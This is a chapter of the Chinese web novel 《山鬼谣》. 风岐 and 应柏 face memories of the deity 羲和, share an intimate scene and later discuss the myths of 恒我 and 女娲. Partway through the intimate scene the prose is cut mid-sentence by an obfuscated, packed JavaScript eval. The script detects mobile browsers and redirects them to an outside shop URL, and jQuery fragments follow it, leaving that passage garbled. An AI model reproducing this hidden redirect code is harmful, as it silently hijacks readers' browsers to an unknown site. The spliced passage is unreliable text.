152. 神仙

作品:《山鬼谣

    药是瓶摆在床头柜上的云南白药气雾剂,应柏系好衬衫扣子下床,绕了半张床坐到风岐身侧,蹲身替她卷袖子。


    看着袖口的小樱桃图案,风岐挠了挠脑袋,她昨晚穿这件睡……的?


    应柏喷完右臂喷右腿,风岐想要发问,但他的手托在她腰后,示意她躺下。看不见,只能凭他撩起衣摆按泵头后的冰凉触感推断自己腰后也有淤青。


    这到底什么情况?


    脑袋一阵阵地发飘,连起身也是应柏牵起来的,去卫生间洗漱完照了半天镜子,她才想起刚才梦到了什么。


    看着手臂上明显属于指痕的青紫,她愣了好半天:这......羲和抓的?


    不是吧,羲和没有抓这里......吧?


    看了一眼手机里的时间,已经下午了。


    为什么这个梦又出现了?又警告她吗?可她这两天不是很老实吗?


    她拉开门,应柏站在门边,循声望向她,面无表情的一张脸,盯得她不由自主退了半步。


    他俯身握住她肩头:“你梦到羲和了,对吗?”


    风岐脑袋里那个念头还没清晰,身体先做出了反应,激灵灵一抖,幅度大得险些把应柏的手给甩下去。


    他怎么知道?


    不对,这话他好像说过。


    什么时候说的?


    她环顾四周,床单好像也和昨天晚上不一样了,目光重新汇集到他的脸上,他微微垂眸,和梦里一模一样。


    “应柏?”


    “嗯。”


    她惊恐地瞪大眼:“你今天、今天......”


    那个梦之前还有一个梦,她醒过一次,那时他呕过血,所以床上被他清理过了,她身上的衣服也被他换过。


    “你睡过去了。”其实他不确定她究竟是昏迷还是沉睡,抱她放进浴缸里很长一段时间,她都毫无察觉,任他动作。过去哪怕再累再困,洗头时她总会有些不耐,但今天她动都没动。


    “那你现在......”她的手要去触碰他的脸,又讷讷收回。


    他松手,错开目光,脸微微向右偏转,或许在看那一缕日光,又或许只是在看光束中浮动的微尘。


    末了,他的目光落在脚尖,声音依旧平静:“我是羲和之子,你叫出了我的名字。”


    在千佛崖是意外撞上的,或许是这方面的缘故,又或许是因为她终于想起了他的死。


    尽管她两次叫的都是“玉京”,但他听得真切,他明白今早那种凄厉哭喊究竟意味着什么。


    无论是哪种解释,如今的她能将羲和捏碎的那部分他恢复,要么是因为羲和的确不复存在,要么就是她的力量已经突破了羲和。


    风岐想扶下巴,逼着自己没有动,默然半晌,她张了张口,没能说出话来。


    清了下嗓子,声音还是有些走调:“那你......还要去医院吗?”


    “不用。”


    风岐瞄了眼床:“那我......”


    她莫名有些尴尬,向床走,脱掉一只拖鞋刚要踩上忽又觉得不大合适,干笑两声,把脚丫子塞了回去。


    “呵呵,呵呵呵......”还是回自己房间去先重塑一下世界观吧。


    如此一来,从他身边又绕了回去,擦身而过的瞬间,他在问:“没有要问我的吗?”


    风岐心里长长“嗯......”了一声,她怀疑自己是根拉久了的松紧带,现在已经彻底没了弹力,松手都缩不回去几纳米的那种。


    她当然有千百个问题,之前好像也曾经思量过如果有一天他想起那些她该怎么办,但她现在什么都想不起来,凭本能讲,还是有点儿想跑。


    步伐愈来愈快,手将要碰到门框时,他在背后说:“我有话要问你。”


    一字字像落入湖泊的石子,偏偏泛起的涟漪正在以她的心为圆心扩散。


    头发有些发麻,她僵直着身体转过来,他要问她什么?为什么捅他?


    她好像回答不了。


    落地窗投来的光暗了一暗,是他撑臂握住门框将她半圈在怀里。他身上的木质香比过去每一次都要浓烈,几乎要将她灭顶,她本能地就要蹲身钻出这个包围圈,头顶却先传来他的声音。


    “不是喜欢高高在上的神仙吗?”


    “什么?”她没听清,只下意识仰头。


    这下连另一侧也被他的另一条臂膀挡住,他虚覆上她,唇已压了上来,气息纠缠间,他又问一遍:“不是喜欢神仙吗?还跑什么?”


    极其短暂的吻,以风岐恶狠狠咬住应柏下唇为终结,她瞪着他:“应柏你有病是吗?”


    应柏按了按正在快速消散的牙印,放下手,对她抬眉一笑:“我只是不明白,为什么无论我是什么样的,你总是想跑。”


    风岐一愣,目光触碰的一瞬,他飞快偏了脸,不再看她。他又轻轻笑了一下,那笑声里满是她听不懂的东西,只是既然他已经戳破,那么......


    她抬手,想去摸他颈后,可他太高,又是背抵着门框,她的手伸不到那里。


    他领会了她的意图,俯身露出后颈,又握着她的手贴过去,不仅如此,他还用指头捏住她食指,用她的指尖自上而下描出一个小小的口子:“这儿。”


    他描的位置分毫不差,可依旧没有任何痕迹,她别扭地想抽回手,可他没松手,只重新站直身体,目光沉沉地看着她。


    风岐不自在地偏脸:“那个……对不起啊......”


    捅也捅了,拔也拔了,虽说再来一次还这么干,但是大家现在同在一个屋檐下,又是男女朋友,那一句“对不起”还是该好好讲一下的。


    歉道了,那他刚才的问题也好回答了:她又不是什么正人君子,更不是个大傻子,捅了人还要站在原地任人宰割的。本能想跑不是很正常吗?


    谁知,他微不可闻地笑了一下:“是愧疚吗?”


    风岐一怔,不然呢?


    抬眸对上他的眼,他依旧直视着她,良久,他垂眸,牵着她的手向床上带,把她轻轻推倒在床上、关窗帘。


    他一粒粒解开自己的衬衫纽扣,俯身撑在他身侧,她赶忙按住他胸膛:“你......你干嘛?”


    “最后一次。”


    风岐都没能“啊?”出来,什么最后一次?他又要闹什么幺蛾子?


    “你又不想对我负责,当我看不出来吗?”


    她无语地一闭眼。


    她现在已经完全掌握了应柏的吵架套路,不管三七二十一先给她扣帽子总没错,这种架吵起来到底有什么意思啊她不明白。


    她眼睛刚瞪起来就泄了气,这人已经吻上她耳朵,舌尖还在向内小幅度画着圈。


    “你自己说的,想和我保持肉/体关系……”


    “我不是你哥哥,我也不想做你哥哥。”他对她有无边的保护欲与占有欲,但那都来自于男女之情,他分得清楚。


    他曾将这个问题思虑过无数次,每次的结果都相同。


    在他眼里,她从来都是爱人。


    只是爱人。


    只不过他现在终于明白她为什么会把他当做哥哥。


    “想知道为什么吗?求我,我告诉你。”


    眼微眨,他的泪还是不受控制地滚落。


    风岐根本意识不到应柏落了泪,她现在满心都是对自己的怨恨,恨自己没出息,每次被他亲两下脑袋就懵。


    她才不要求他。


    他始终悬在她身体上方,每每她要沉沦,两人中间间隔的空隙总让她保持着最后一丝清醒。


    一丝足够让她真切感受到他每一个动作的清醒。


    房间里灯还开着,之前也不是没有开过灯,可今天她哪里都不敢乱看。


    虽然总是控制不住。


    高大的神祇自天上缓缓落下,埋入深林,她如第一次时一般本能泛起一丝恐惧。


    她不要一个人。


    他没有接受她的邀请,只轻轻说:“别害怕,再有没有人能伤害你了......”


    身体的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028417|185886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    反应逐渐挤走她的理智,白光将起时她在想:梦是不是还没醒?


    她要被......留下来了。


    ——


    深夜,风岐抱着啤酒罐坐在秋千上,应柏身下的则是一只休闲椅。两人面对面坐着,风岐觑一眼应柏,又觑一眼。


    下楼后他给她热了一杯牛奶,她没要,径自开了一听酒,先灌下去半听。


    每每性/事结束,他都会抱着她去洗澡,然后喂水,最后裹着被子把她抱在怀里很久很久。


    但刚才,他抱她到浴室前,问她能不能自己洗,之后就自外关上门下了楼。


    他很了解她的身体,这种了解,在刚刚几个小时内要了她几回命。她问他为什么不可以一起,他指指她身上的淤青,可她总觉得是借口。


    不过或许是心理因素,又或许是事实,她心头那股憋闷多日的气终于泄去大半,很快她就不再思考,沉湎其中,如鱼得水。


    她比他晚下楼,他不仅给她递来一杯牛奶,还同她说,明天他打算一个人回北京。


    明明半个小时前还亲密无间,现在却像两个陌生人。


    她觉得他生气了,或许算是在生闷气,等着她哄他的那种,他一旦用这种过于平静的声线同她讲话,她就总会升起些许歉疚。


    歉疚一升起,必然连带着那股不服——凭什么说她没有愧疚。


    关键问题还是和之前一样:会不会又出现意外。只不过他看上去很笃定,他还说:“我了解羲和。”


    他这样说,那她没什么好反对的。早就死猪不怕开水烫了。


    只不过他问她要不要现在听时,她还是犹豫了一会儿,最后默默点了一下头。


    他缓缓说:“羲和不是你的母亲。她和太一有关联,但是她不是太一。”


    风岐屏息凝神,等着下文。


    “在太一的那个时代,你们认为人分生死,愿入轮回的人,他们的魂魄为生魂,反之为死魂。”


    风岐意识到他之前的叙述和现在的差别,在九嶷的时代,恒我族已经知道同一个人本身就分成了这两个部分。


    应柏点点头:“所以实际上你们认为太一死后直接分化成为太一十三女,但实际上太一的身上也有死魂。”


    如同后来的山薮一样,水薮并不是一劳永逸的方法,尤其是在恒我族人对生魂死魂的了解并不准确情况下。


    至于赤地,也不过是后人对他们的称呼。


    实际上他们也算得上是恒我族人。既然是从恒我分裂开来的,源头本是一样的。


    “只不过你们认为我们是异类。”


    “羲和......”他念着这个名字,她望着他,看不出一丝一毫对母亲的眷恋与依赖,但抬眼间,似有一缕痛色闪过。


    他摇了摇头,先问了她另一个问题:“女娲是大恒我,女娲和大恒我并尊,女娲不是恒我,哪条为真?还记得吗?”


    她记得,他在达瓦想起来过这句话。


    他笑了一下:“你过去从来不会给我准确的答案,只会叫我去猜。”


    她垂眸,他说的“你”当然是指九嶷。


    但现在,他拥有羲和告诉他的答案。


    据说这个世界的开始,是极其漫长的一段黑暗,恒我破开黑暗,分化成为两部分。


    应柏指向漆黑天穹:“高悬于天的是恒我,留在地上的是女娲。”


    “女娲造人、恒我维系生死平衡,都是巨大的功绩,但女娲与恒我不同,她终有一死。而之后每隔数千年,恒我族就会出现一名力挽狂澜的首领,‘女娲’渐渐成为一种尊称,这样的首领,后世会称她为......”


    “女娲。”


    “羲和......”他再次抬起头,看向天幕。


    风岐啜了口酒,没等到下文,疑惑地看着应柏,却见他左手捂住右眼、放下、又捂上左眼。


    “怎么了?”她问他。


    他眉间微蹙,怔忪着摇了摇头。


    他左眼里的月亮,彻底消失了。